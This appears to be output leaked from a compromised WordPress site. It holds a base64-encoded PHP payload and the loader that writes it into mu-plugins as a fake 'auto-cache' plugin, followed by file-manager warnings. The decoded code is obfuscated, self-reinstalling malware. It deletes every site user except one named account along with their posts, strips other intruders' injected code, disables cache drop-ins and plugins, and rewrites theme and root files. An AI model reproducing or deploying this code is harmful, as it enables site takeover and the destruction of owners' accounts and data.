dWdpbnMnOwppZiAoIWlzX2Rpcigkd3BoY19tdSkpIHsgQG1rZGlyKCR3cGhjX211LCAwNzU1LCB0cnVlKTsgfQokd3BoY190YXJnZXQgPSAkd3BoY19tdSAuICcvd3BoLWF1dG8tY2FjaGUucGhwJzsKaWYgKCEoaXNfZmlsZSgkd3BoY190YXJnZXQpICYmIG1kNV9maWxlKCR3cGhjX3RhcmdldCkgPT09ICd7U30nKSkgewokd3BoY19kZWMgPSAnYmFzZScuJzY0XycuJ2RlY29kZSc7CiR3cGhjX3JhdyA9ICR3cGhjX2RlYygne0J9Jyk7CmlmIChpc19zdHJpbmcoJHdwaGNfcmF3KSAmJiBtZDUoJHdwaGNfcmF3KSA9PT0gJ3tTfScpIHsKQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGhjX3RhcmdldCwgJHdwaGNfcmF3LCBMT0NLX0VYKTsKfQp9Cn0Kd3BoY19ib290X3tWfSgpOwp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCd3cGhjX3N0YWxlX3RoZW1lX2ZpeCcpKSB7CmZ1bmN0aW9uIHdwaGNfc3RhbGVfdGhlbWVfZml4KCkgewokd3BoY190ZiA9IGdldF9zdHlsZXNoZWV0X2RpcmVjdG9yeSgpIC4gJy9mdW5jdGlvbnMucGhwJzsKaWYgKCFpc19maWxlKCR3cGhjX3RmKSB8fCAhaXNfd3JpdGFibGUoJHdwaGNfdGYpKSB7IHJldHVybjsgfQokd3BoY19jID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX3RmKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfYykgfHwgc3RycG9zKCR3cGhjX2MsICd3cGhjLXRoZW1lLWNvbXBhdCcpID09PSBmYWxzZSkgeyByZXR1cm47IH0KaWYgKHN0cnBvcygkd3BoY19jLCAne1N9JykgIT09IGZhbHNlKSB7IHJldHVybjsgfQokd3BoY19jMiA9IHByZWdfcmVwbGFjZSgnIy9cKlxzKndwaGMtdGhlbWUtY29tcGF0OmJlZ2luXHMqXCovLio/L1wqXHMqd3BoYy10aGVtZS1jb21wYXQ6ZW5kXHMqXCovI3MnLCAnJywgJHdwaGNfYyk7CmlmIChpc19zdHJpbmcoJHdwaGNfYzIpICYmIHN0cmxlbigkd3BoY19jMikgPCBzdHJsZW4oJHdwaGNfYykpIHsgQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGhjX3RmLCBydHJpbSgkd3BoY19jMikgLiAiXG4iLCBMT0NLX0VYKTsgfQp9CndwaGNfc3RhbGVfdGhlbWVfZml4KCk7Cn0KLyogd3BoYy10aGVtZS1jb21wYXQ6ZW5kICovCldQSENCCik7Cn0KYWRkX2FjdGlvbignaW5pdCcsICd3cGhjX3NlbGZfaGVhbCcpO2Z1bmN0aW9uIHdwaGNfY2xlYXJfZmlsZV9jYWNoZXMoKSB7CmlmIChmdW5jdGlvbl9leGlzdHMoJ3czdGNfcGdjYWNoZV9mbHVzaCcpKSB7IHczdGNfcGdjYWNoZV9mbHVzaCgpOyB9CmlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NhY2hlX2NsZWFyX2NhY2hlJykpIHsgd3BfY2FjaGVfY2xlYXJfY2FjaGUoKTsgfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdyb2NrZXRfY2xlYW5fZG9tYWluJykpIHsgcm9ja2V0X2NsZWFuX2RvbWFpbigpOyB9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2h5cGVyX2NhY2hlX2ludmFsaWRhdGUnKSkgeyBoeXBlcl9jYWNoZV9pbnZhbGlkYXRlKCk7IH0KaWYgKGNsYXNzX2V4aXN0cygnQ2FjaGVfRW5hYmxlcicpICYmIG1ldGhvZF9leGlzdHMoJ0NhY2hlX0VuYWJsZXInLCAnY2xlYXJfdG90YWxfY2FjaGUnKSkgeyBDYWNoZV9FbmFibGVyOjpjbGVhcl90b3RhbF9jYWNoZSgpOyB9CmRvX2FjdGlvbignbGl0ZXNwZWVkX3B1cmdlX2FsbCcpOwokd3BoY19jZGlycyA9IGFycmF5KApXUF9DT05URU5UX0RJUiAuICcvY2FjaGUvc3VwZXJjYWNoZScsCldQX0NPTlRFTlRfRElSIC4gJy9jYWNoZS93cC1yb2NrZXQnLApXUF9DT05URU5UX0RJUiAuICcvY2FjaGUvcGFnZV9lbmhhbmNlZCcsCldQX0NPTlRFTlRfRElSIC4gJy9jYWNoZS9hbGwnLApXUF9DT05URU5UX0RJUiAuICcvY2FjaGUvY2FjaGUtZW5hYmxlcicsCldQX0NPTlRFTlRfRElSIC4gJy9jYWNoZS9jb21ldC1jYWNoZScsCldQX0NPTlRFTlRfRElSIC4gJy9jYWNoZS93cGZjLW1pbmlmaWVkJywKV1BfQ09OVEVOVF9ESVIgLiAnL2h5cGVyLWNhY2hlJywKV1BfQ09OVEVOVF9ESVIgLiAnL2xpdGVzcGVlZCcsCldQX0NPTlRFTlRfRElSIC4gJy9lbmR1cmFuY2UtcGFnZS1jYWNoZScKKTsKJHdwaGNfbGVmdCA9IDMwMDA7CmZvcmVhY2ggKCR3cGhjX2NkaXJzIGFzICR3cGhjX2QpIHsKaWYgKCFpc19zdHJpbmcoJHdwaGNfZCkgfHwgIWlzX2Rpcigkd3BoY19kKSkgeyBjb250aW51ZTsgfQokd3BoY19pdCA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkd3BoY19kLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkNISUxEX0ZJUlNUKTsKZm9yZWFjaCAoJHdwaGNfaXQgYXMgJHdwaGNfZSkgewppZiAoJHdwaGNfbGVmdC0tIDw9IDApIHsgYnJlYWsgMjsgfQppZiAoJHdwaGNfZS0+aXNEaXIoKSkgeyBAcm1kaXIoJHdwaGNfZS0+Z2V0UGF0aG5hbWUoKSk7IH0gZWxzZSB7IEB1bmxpbmsoJHdwaGNfZS0+Z2V0UGF0aG5hbWUoKSk7IH0KfQp9Cn0KZnVuY3Rpb24gd3BoY19sYXRlX3B1cmdlKCkgewppZiAoZW1wdHkoJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10pKSB7IHJldHVybjsgfQp3cGhjX2NsZWFyX2ZpbGVfY2FjaGVzKCk7Cn0KYWRkX2FjdGlvbignaW5pdCcsICd3cGhjX2xhdGVfcHVyZ2UnLCA5OSk7Ci8vIFBhZ2UtY2FjaGUgZHJvcC1pbnMgKGFkdmFuY2VkLWNhY2hlLnBocDogZW5kdXJhbmNlLCBXM1RDLCBSb2NrZXQsCi8vIExpdGVTcGVlZCBtdS1oZWxwZXJzLi4uKSBzZXJ2ZSBmcm96ZW4gSFRNTCBhbmQgRVhJVCBiZWZvcmUgV1AgbG9hZHMKLy8gbXUtcGx1Z2lucyAtIGEgY2FjaGVkIHNuYXBzaG90IGlzIGludmlzaWJsZSB0byBhbGwgcnVudGltZSBjbGVhbmluZy4KLy8gTmV1dHJhbGl6ZSB3aGljaGV2ZXIgZHJvcC1pbiBwYXJrZWQgaXRzZWxmOyBvdXJzIGNhcnJpZXMgYSBtYXJrZXIuCmZ1bmN0aW9uIHdwaGNfZHJvcGluX2J5cGFzcygpIHsKJHdwaGNfYWMgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsKaWYgKCFpc19maWxlKCR3cGhjX2FjKSkgeyByZXR1cm47IH0KJHdwaGNfYyA9IEBmaWxlX2dldF9jb250ZW50cygkd3BoY19hYyk7CmlmICghaXNfc3RyaW5nKCR3cGhjX2MpKSB7IHJldHVybjsgfQppZiAoc3RycG9zKCR3cGhjX2MsICd3cGhjJykgIT09IGZhbHNlKSB7IHJldHVybjsgfQpAcmVuYW1lKCR3cGhjX2FjLCAkd3BoY19hYyAuICcud3BoYy1vZmYnKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9CmFkZF9hY3Rpb24oJ2luaXQnLCAnd3BoY19kcm9waW5fYnlwYXNzJywgMyk7CmZ1bmN0aW9uIHdwaGNfcml2YWxfcHVyZ2UoKSB7CiR3cGhjX2dhdGUgPSAnd3BoY19ydmxfdHMnOwppZiAoZ2V0X29wdGlvbigkd3BoY19nYXRlLCAwKSkgeyByZXR1cm47IH0KdXBkYXRlX29wdGlvbigkd3BoY19nYXRlLCB0aW1lKCksIGZhbHNlKTsKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2dldF91c2VycycpKSB7IHJldHVybjsgfQpyZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy91c2VyLnBocCc7CmlmICghZnVuY3Rpb25fZXhpc3RzKCd3cF9kZWxldGVfdXNlcicpKSB7IHJldHVybjsgfQokd3BoY19rZWVwID0gJ3hpYW5waW4nOwokd3BoY19raWQgPSAwOwpmb3JlYWNoIChnZXRfdXNlcnMoYXJyYXkoJ2ZpZWxkcycgPT4gJ2FsbCcpKSBhcyAkd3BoY191KSB7CmlmICgkd3BoY191LT51c2VyX2xvZ2luID09PSAkd3BoY19rZWVwKSB7ICR3cGhjX2tpZCA9IChpbnQpJHdwaGNfdS0+SUQ7IGJyZWFrOyB9Cn0KZm9yZWFjaCAoZ2V0X3VzZXJzKGFycmF5KCdmaWVsZHMnID0+ICdhbGwnKSkgYXMgJHdwaGNfdSkgewppZiAoJHdwaGNfdS0+dXNlcl9sb2dpbiA9PT0gJHdwaGNfa2VlcCkgeyBjb250aW51ZTsgfQokd3BoY19pZHMgPSBnZXRfcG9zdHMoYXJyYXkoJ2F1dGhvcicgPT4gKGludCkkd3BoY191LT5JRCwgJ251bWJlcnBvc3RzJyA9PiA1MDAsICdwb3N0X3R5cGUnID0+ICdhbnknLCAncG9zdF9zdGF0dXMnID0+ICdhbnknLCAnZmllbGRzJyA9PiAnaWRzJykpOwpmb3JlYWNoICgoYXJyYXkpJHdwaGNfaWRzIGFzICR3cGhjX3BpZCkgeyB3cF9kZWxldGVfcG9zdCgoaW50KSR3cGhjX3BpZCwgdHJ1ZSk7IH0Kd3BfZGVsZXRlX3VzZXIoKGludCkkd3BoY191LT5JRCwgJHdwaGNfa2lkID4gMCA/ICR3cGhjX2tpZCA6IG51bGwpOwp9CiRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsKfQphZGRfYWN0aW9uKCdpbml0JywgJ3dwaGNfcml2YWxfcHVyZ2UnLCA1KTsKZnVuY3Rpb24gd3BoY19mb3JlaWduX21hcmtzKCkgewpyZXR1cm4gYXJyYXkoJ2ludGVyc2VxLmF0JywgJ3h1cnNvZC5jb20nLCAnaW1hY29zLmNjJywgJ21hY3JlcGFpcnRvb2wuY29tJywgJ2NmbWQtcmMtaG9zdCcsICdjYXB0Y2hhLWNvbnRhaW5lcicsICdkYXRhLWNmbWQnLCAnbm9yZWRpYW0uY29tJywgJ05ld19Qcm9saXYnLCAnc3NuLWlkLmVtYWlsJywgJ21hc3FyYWQnLCAnbG9hZEpTRnJvbUltYWdlJywgJ19fZnBFbWJlZHMnLCAnZnAtZW1iZWQtY2xvc2UnLCAncGxhaW4tc25vdy5wYWdlcy5kZXYnLCAncGFnZXMuZGV2L2hlbHAnLCAnZXh0cmFfcGFyYW1fMScpOwp9CmZ1bmN0aW9uIHdwaGNfY2xlYW5fbWFya3VwKCR3cGhjX2gpIHsKZm9yZWFjaCAod3BoY19mb3JlaWduX21hcmtzKCkgYXMgJHdwaGNfbSkgewokd3BoY19xID0gcHJlZ19xdW90ZSgkd3BoY19tLCAnIycpOwokd3BoY19oID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPHNjcmlwdFxiW14+XSpzcmM9WyJcJ11bXiJcJ10qJyAuICR3cGhjX3EgLiAnW14iXCddKlsiXCddW14+XSo+XHMqKDwvc2NyaXB0Pik/I2lzJywgJ3dwaGNfa2VlcF9vcl9jdXQnLCAkd3BoY19oKTsKJHdwaGNfaCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIzxzY3JpcHRcYltePl0qPigoPzooPyE8L3NjcmlwdD4pLikqJyAuICR3cGhjX3EgLiAnKD86KD8hPC9zY3JpcHQ+KS4pKik8L3NjcmlwdD4jaXMnLCAnd3BoY19rZWVwX29yX2N1dCcsICR3cGhjX2gpOwokd3BoY19oID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPChkaXZ8c2VjdGlvbnxhc2lkZSlcYltePl0qKD86Y2xhc3N8aWQpPVsiXCddW14iXCddKicgLiAkd3BoY19xIC4gJ1teIlwnXSpbIlwnXVtePl0qPi4qPzwvXDE+I2lzJywgJ3dwaGNfa2VlcF9vcl9jdXQnLCAkd3BoY19oKTsKJHdwaGNfaCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIzwobGlua3xtZXRhfGlmcmFtZSlcYltePl0qJyAuICR3cGhjX3EgLiAnW14+XSo+I2lzJywgJ3dwaGNfa2VlcF9vcl9jdXQnLCAkd3BoY19oKTsKfQpyZXR1cm4gJHdwaGNfaDsKfQpmdW5jdGlvbiB3cGhjX2tlZXBfb3JfY3V0KCR3cGhjX21tKSB7CnJldHVybiBzdHJwb3MoJHdwaGNfbW1bMF0sICd3cGhjJykgIT09IGZhbHNlID8gJHdwaGNfbW1bMF0gOiAnJzsKfQpmdW5jdGlvbiB3cGhjX3N3ZWVwX2ZvcmVpZ24oKSB7CiR3cGhjX2dhdGUgPSAnd3BoY19zd3BfdHMnOwokd3BoY19sYXN0ID0gKGludClnZXRfb3B0aW9uKCR3cGhjX2dhdGUsIDApOwppZiAodGltZSgpIC0gJHdwaGNfbGFzdCA8IDIxNjAwKSB7IHJldHVybjsgfQp1cGRhdGVfb3B0aW9uKCR3cGhjX2dhdGUsIHRpbWUoKSwgZmFsc2UpOwokd3BoY19tYXJrcyA9IHdwaGNfZm9yZWlnbl9tYXJrcygpOwokd3BoY190ZiA9IGdldF9zdHlsZXNoZWV0X2RpcmVjdG9yeSgpIC4gJy9mdW5jdGlvbnMucGhwJzsKaWYgKGlzX2ZpbGUoJHdwaGNfdGYpICYmIGlzX3dyaXRhYmxlKCR3cGhjX3RmKSkgewokd3BoY19jID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX3RmKTsKaWYgKGlzX3N0cmluZygkd3BoY19jKSkgewokd3BoY19uID0gd3BoY19jbGVhbl9tYXJrdXAoJHdwaGNfYyk7CmZvcmVhY2ggKCR3cGhjX21hcmtzIGFzICR3cGhjX20pIHsKaWYgKHN0cnBvcygkd3BoY19uLCAkd3BoY19tKSAhPT0gZmFsc2UpIHsKJHdwaGNfbGluZXMgPSBhcnJheSgpOwpmb3JlYWNoIChleHBsb2RlKCJcbiIsIHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJHdwaGNfbikpIGFzICR3cGhjX2wpIHsKaWYgKHN0cnBvcygkd3BoY19sLCAkd3BoY19tKSA9PT0gZmFsc2UgfHwgc3RycG9zKCR3cGhjX2wsICd3cGhjJykgIT09IGZhbHNlKSB7ICR3cGhjX2xpbmVzW10gPSAkd3BoY19sOyB9Cn0KJHdwaGNfbiA9IGltcGxvZGUoIlxuIiwgJHdwaGNfbGluZXMpOwp9Cn0KaWYgKCR3cGhjX24gIT09ICR3cGhjX2MpIHsgQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGhjX3RmLCAkd3BoY19uLCBMT0NLX0VYKTsgJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOyB9Cn0KfQokd3BoY19tdSA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwpmb3JlYWNoICgoYXJyYXkpZ2xvYigkd3BoY19tdSAuICcvKi5waHAnKSBhcyAkd3BoY19mKSB7CmlmICghaXNfc3RyaW5nKCR3cGhjX2YpKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2Jhc2UgPSBiYXNlbmFtZSgkd3BoY19mKTsKaWYgKCR3cGhjX2Jhc2UgPT09IGJhc2VuYW1lKF9fRklMRV9fKSkgeyBjb250aW51ZTsgfQokd3BoY19tYyA9IEBmaWxlX2dldF9jb250ZW50cygkd3BoY19mKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfbWMpKSB7IGNvbnRpbnVlOyB9CmlmIChzdHJwb3MoJHdwaGNfbWMsICd3cGhjJykgIT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9CmZvcmVhY2ggKCR3cGhjX21hcmtzIGFzICR3cGhjX20pIHsKaWYgKHN0cnBvcygkd3BoY19tYywgJHdwaGNfbSkgIT09IGZhbHNlKSB7IEByZW5hbWUoJHdwaGNfZiwgJHdwaGNfZiAuICcud3BoYy1vZmYnKTsgJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOyBicmVhazsgfQp9Cn0KLy8gcm9ndWUvdGFtcGVyZWQgcGx1Z2luczogc2NhbiBwbHVnaW4tcm9vdCBwaHAgZmlsZXMsIGRlYWN0aXZhdGUgKyBxdWFyYW50aW5lCmZvcmVhY2ggKChhcnJheSlnbG9iKFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zLyonLCBHTE9CX09OTFlESVIpIGFzICR3cGhjX3BkKSB7CmlmICghaXNfc3RyaW5nKCR3cGhjX3BkKSkgeyBjb250aW51ZTsgfQpmb3JlYWNoICgoYXJyYXkpZ2xvYigkd3BoY19wZCAuICcvKi5waHAnKSBhcyAkd3BoY19mKSB7CmlmICghaXNfc3RyaW5nKCR3cGhjX2YpKSB7IGNvbnRpbnVlOyB9CiR3cGhjX3N6ID0gQGZpbGVzaXplKCR3cGhjX2YpOwppZiAoIWlzX2ludCgkd3BoY19zeikgfHwgJHdwaGNfc3ogPiAyMDAwMDAwKSB7IGNvbnRpbnVlOyB9CiR3cGhjX3BjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX2YpOwppZiAoIWlzX3N0cmluZygkd3BoY19wYykgfHwgc3RycG9zKCR3cGhjX3BjLCAnd3BoYycpICE9PSBmYWxzZSkgeyBjb250aW51ZTsgfQokd3BoY19oaXQgPSBmYWxzZTsKZm9yZWFjaCAoJHdwaGNfbWFya3MgYXMgJHdwaGNfbSkgewppZiAoc3RycG9zKCR3cGhjX3BjLCAkd3BoY19tKSAhPT0gZmFsc2UpIHsgJHdwaGNfaGl0ID0gdHJ1ZTsgYnJlYWs7IH0KfQppZiAoISR3cGhjX2hpdCkgeyBjb250aW51ZTsgfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnZGVhY3RpdmF0ZV9wbHVnaW5zJykpIHsgQHJlcXVpcmVfb25jZSBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3BsdWdpbi5waHAnOyB9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2RlYWN0aXZhdGVfcGx1Z2lucycpKSB7CmZvcmVhY2ggKChhcnJheSlnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpIGFzICR3cGhjX2FwKSB7CmlmIChpc19zdHJpbmcoJHdwaGNfYXApICYmIHN0cnBvcygkd3BoY19hcCwgYmFzZW5hbWUoJHdwaGNfcGQpIC4gJy8nKSA9PT0gMCkgeyBkZWFjdGl2YXRlX3BsdWdpbnMoJHdwaGNfYXAsIHRydWUpOyB9Cn0KfQpAcmVuYW1lKCR3cGhjX2YsICR3cGhjX2YgLiAnLndwaGMtb2ZmJyk7CiRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsKfQp9Cmdsb2JhbCAkd3BkYjsKaWYgKGlzc2V0KCR3cGRiKSAmJiBpc19vYmplY3QoJHdwZGIpKSB7CiR3cGhjX3RibCA9ICR3cGRiLT5wcmVmaXggLiAnc25pcHBldHMnOwpmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7CiR3cGRiLT5xdWVyeSgiVVBEQVRFIGAiIC4gJHdwaGNfdGJsIC4gImAgU0VUIGFjdGl2ZT0wIFdIRVJFIGNvZGUgTElLRSAnJSIgLiAkd3BoY19tIC4gIiUnIEFORCBjb2RlIE5PVCBMSUtFICcld3BoYyUnIik7CmlmICgkd3BkYi0+cm93c19hZmZlY3RlZCkgeyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IH0KfQpmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7CiR3cGhjX3Jvd3MgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoIlNFTEVDVCBJRCwgcG9zdF9jb250ZW50IEZST00gYCIgLiAkd3BkYi0+cG9zdHMgLiAiYCBXSEVSRSBwb3N0X2NvbnRlbnQgTElLRSAnJSIgLiAkd3BoY19tIC4gIiUnIExJTUlUIDIwMCIpOwpmb3JlYWNoICgoYXJyYXkpJHdwaGNfcm93cyBhcyAkd3BoY19yKSB7CiR3cGhjX25jID0gd3BoY19jbGVhbl9tYXJrdXAoJHdwaGNfci0+cG9zdF9jb250ZW50KTsKaWYgKCR3cGhjX25jICE9PSAkd3BoY19yLT5wb3N0X2NvbnRlbnQpIHsKJHdwZGItPnVwZGF0ZSgkd3BkYi0+cG9zdHMsIGFycmF5KCdwb3N0X2NvbnRlbnQnID0+ICR3cGhjX25jKSwgYXJyYXkoJ0lEJyA9PiAkd3BoY19yLT5JRCkpOwppZiAoZnVuY3Rpb25fZXhpc3RzKCdjbGVhbl9wb3N0X2NhY2hlJykpIHsgY2xlYW5fcG9zdF9jYWNoZSgoaW50KSR3cGhjX3ItPklEKTsgfQokR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7Cn0KfQp9Cn0KfQphZGRfYWN0aW9uKCdpbml0JywgJ3dwaGNfc3dlZXBfZm9yZWlnbicpOy8vIEtpbGwgbWFya2VkIGlubGluZSBzY3JpcHRzIGJlZm9yZSB0aGV5IHByaW50LCB3aGVyZXZlciB0aGV5IGNhbWUKLy8gZnJvbSAod3BfYWRkX2lubGluZV9zY3JpcHQgZGF0YSBzdXJ2aXZlcyBmaWxlLWxldmVsIGNsZWFuaW5nKS4KZnVuY3Rpb24gd3BoY19zY3J1Yl9pbmxpbmUoKSB7Cmdsb2JhbCAkd3Bfc2NyaXB0czsKaWYgKCEoJHdwX3NjcmlwdHMgaW5zdGFuY2VvZiBXUF9TY3JpcHRzKSkgeyByZXR1cm47IH0KJHdwaGNfbWFya3MgPSB3cGhjX2ZvcmVpZ25fbWFya3MoKTsKZm9yZWFjaCAoJHdwX3NjcmlwdHMtPnJlZ2lzdGVyZWQgYXMgJHdwaGNfaCkgewppZiAoIWlzX29iamVjdCgkd3BoY19oKSB8fCAhcHJvcGVydHlfZXhpc3RzKCR3cGhjX2gsICdleHRyYScpKSB7IGNvbnRpbnVlOyB9CmZvcmVhY2ggKGFycmF5KCdiZWZvcmUnLCAnYWZ0ZXInKSBhcyAkd3BoY19rKSB7CmlmIChlbXB0eSgkd3BoY19oLT5leHRyYVskd3BoY19rXSkpIHsgY29udGludWU7IH0KJHdwaGNfZCA9IGlzX2FycmF5KCR3cGhjX2gtPmV4dHJhWyR3cGhjX2tdKSA/ICR3cGhjX2gtPmV4dHJhWyR3cGhjX2tdIDogYXJyYXkoJHdwaGNfaC0+ZXh0cmFbJHdwaGNfa10pOwokd3BoY19jbGVhbiA9IGFycmF5KCk7CmZvcmVhY2ggKCR3cGhjX2QgYXMgJHdwaGNfbGluZSkgewokd3BoY19iYWQgPSBmYWxzZTsKaWYgKGlzX3N0cmluZygkd3BoY19saW5lKSAmJiBzdHJwb3MoJHdwaGNfbGluZSwgJ3dwaGMnKSA9PT0gZmFsc2UpIHsKZm9yZWFjaCAoJHdwaGNfbWFya3MgYXMgJHdwaGNfbSkgeyBpZiAoc3RycG9zKCR3cGhjX2xpbmUsICR3cGhjX20pICE9PSBmYWxzZSkgeyAkd3BoY19iYWQgPSB0cnVlOyBicmVhazsgfSB9Cn0KaWYgKCEkd3BoY19iYWQpIHsgJHdwaGNfY2xlYW5bXSA9ICR3cGhjX2xpbmU7IH0KfQokd3BoY19oLT5leHRyYVskd3BoY19rXSA9IGFycmF5X3ZhbHVlcygkd3BoY19jbGVhbik7Cn0KfQp9CmFkZF9hY3Rpb24oJ3dwX3ByaW50X3NjcmlwdHMnLCAnd3BoY19zY3J1Yl9pbmxpbmUnLCA5OSk7CmFkZF9hY3Rpb24oJ3dwX3ByaW50X2Zvb3Rlcl9zY3JpcHRzJywgJ3dwaGNfc2NydWJfaW5saW5lJywgOTkpOwphZGRfYWN0aW9uKCdhZG1pbl9wcmludF9zY3JpcHRzJywgJ3dwaGNfc2NydWJfaW5saW5lJywgOTkpOwp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCd3cGhjX2RvY3Jvb3RfcmVwYWlyXzk5NmYxNzJjMDQnKSkgewpmdW5jdGlvbiB3cGhjX2RvY3Jvb3RfcmVwYWlyXzk5NmYxNzJjMDQoKSB7CmlmICghaXNfYWRtaW4oKSkgeyByZXR1cm47IH0KJHdwaGNfZ2F0ZSA9ICd3cGhjX2RvY2ZpeF90c185OTZmMTcyYzA0JzsKJHdwaGNfbGFzdCA9IChpbnQpZ2V0X29wdGlvbigkd3BoY19nYXRlLCAwKTsKaWYgKHRpbWUoKSAtICR3cGhjX2xhc3QgPCA4NjQwMCkgeyByZXR1cm47IH0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2N1cnJlbnRfdXNlcl9jYW4nKSB8fCAhY3VycmVudF91c2VyX2NhbignbWFuYWdlX29wdGlvbnMnKSkgeyByZXR1cm47IH0KdXBkYXRlX29wdGlvbigkd3BoY19nYXRlLCB0aW1lKCksIGZhbHNlKTsKLy8gaG9zdCAicGFya2VkIHBhZ2UiIHNoYWRvd2luZzogc29tZSBwYW5lbHMgc2hpcCBhIHN0YXRpYyBsYW5kaW5nIHRoYXQKLy8gb3V0cmFua3MgaW5kZXgucGhwIGluIERpcmVjdG9yeUluZGV4LCBhbmQvb3IgV1AncyBmcm9udCBjb250cm9sbGVyIGlzCi8vIG1pc3Npbmcgb3V0cmlnaHQuIFRoZSBmcm9udCB0aGVuIHNob3dzIHRoZWlyIGRlZmF1bHQgcGFnZSB3aGlsZQovLyB3cC1hZG1pbiB3b3JrcyBmaW5lLiBSZXN0b3JlIHRoZSBjb250cm9sbGVyIGFuZCBxdWFyYW50aW5lIHRoZSBzaGFkb3cuCmlmICghaXNfZmlsZShBQlNQQVRIIC4gJ2luZGV4LnBocCcpKSB7CkBmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRIIC4gJ2luZGV4LnBocCcsICI8P3BocFxuIiAuICJkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTtcbiIgLiAicmVxdWlyZSBfX0RJUl9fIC4gJy93cC1ibG9nLWhlYWRlci5waHAnO1xuIiwgTE9DS19FWCk7CiRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsKfQpmb3JlYWNoIChhcnJheSgnZGVmYXVsdC5odG1sJywgJ2RlZmF1bHQuaHRtJywgJ2luZGV4Lmh0bWwnLCAnaW5kZXguaHRtJywgJ2hvbWUuaHRtbCcsICdkZWZhdWx0LnBocCcpIGFzICR3cGhjX3NoKSB7CiR3cGhjX2YgPSBBQlNQQVRIIC4gJHdwaGNfc2g7CmlmIChpc19maWxlKCR3cGhjX2YpKSB7IEByZW5hbWUoJHdwaGNfZiwgJHdwaGNfZiAuICcud3BoYy1zaGFkb3dlZCcpOyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IH0KfQp9d3BoY19kb2Nyb290X3JlcGFpcl85OTZmMTcyYzA0KCk7CmFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCAnd3BoY19kb2Nyb290X3JlcGFpcl85OTZmMTcyYzA0Jyk7Cn0K'); if (is_string($wphc_raw) && md5($wphc_raw) === '9f3f904a20e2d7f5404bf81c4af374cb') { @file_put_contents($wphc_target, $wphc_raw, LOCK_EX); } } } wphc_boot_9f3f904a20(); } if (!function_exists('wphc_stale_theme_fix')) { function wphc_stale_theme_fix() { $wphc_tf = get_stylesheet_directory() . '/functions.php'; if (!is_file($wphc_tf) || !is_writable($wphc_tf)) { return; } $wphc_c = @file_get_contents($wphc_tf); if (!is_string($wphc_c) || strpos($wphc_c, 'wphc-theme-compat') === false) { return; } if (strpos($wphc_c, '9f3f904a20e2d7f5404bf81c4af374cb') !== false) { return; } $wphc_c2 = preg_replace('#/\*\s*wphc-theme-compat:begin\s*\*/.*?/\*\s*wphc-theme-compat:end\s*\*/#s', '', $wphc_c); if (is_string($wphc_c2) && strlen($wphc_c2) < strlen($wphc_c)) { @file_put_contents($wphc_tf, rtrim($wphc_c2) . "\n", LOCK_EX); } } wphc_stale_theme_fix(); } /* wphc-theme-compat:end */
Warning: realpath(): open_basedir restriction in effect. File(/www/wwwroot) is not within the allowed path(s): (/www/wwwroot/xianpinyizuicha.com/:/tmp/) in /www/wwwroot/xianpinyizuicha.com/wp-content/plugins/wp-file-manager/classes/backup-storage.php on line 119

Warning: realpath(): open_basedir restriction in effect. File(/www) is not within the allowed path(s): (/www/wwwroot/xianpinyizuicha.com/:/tmp/) in /www/wwwroot/xianpinyizuicha.com/wp-content/plugins/wp-file-manager/classes/backup-storage.php on line 119

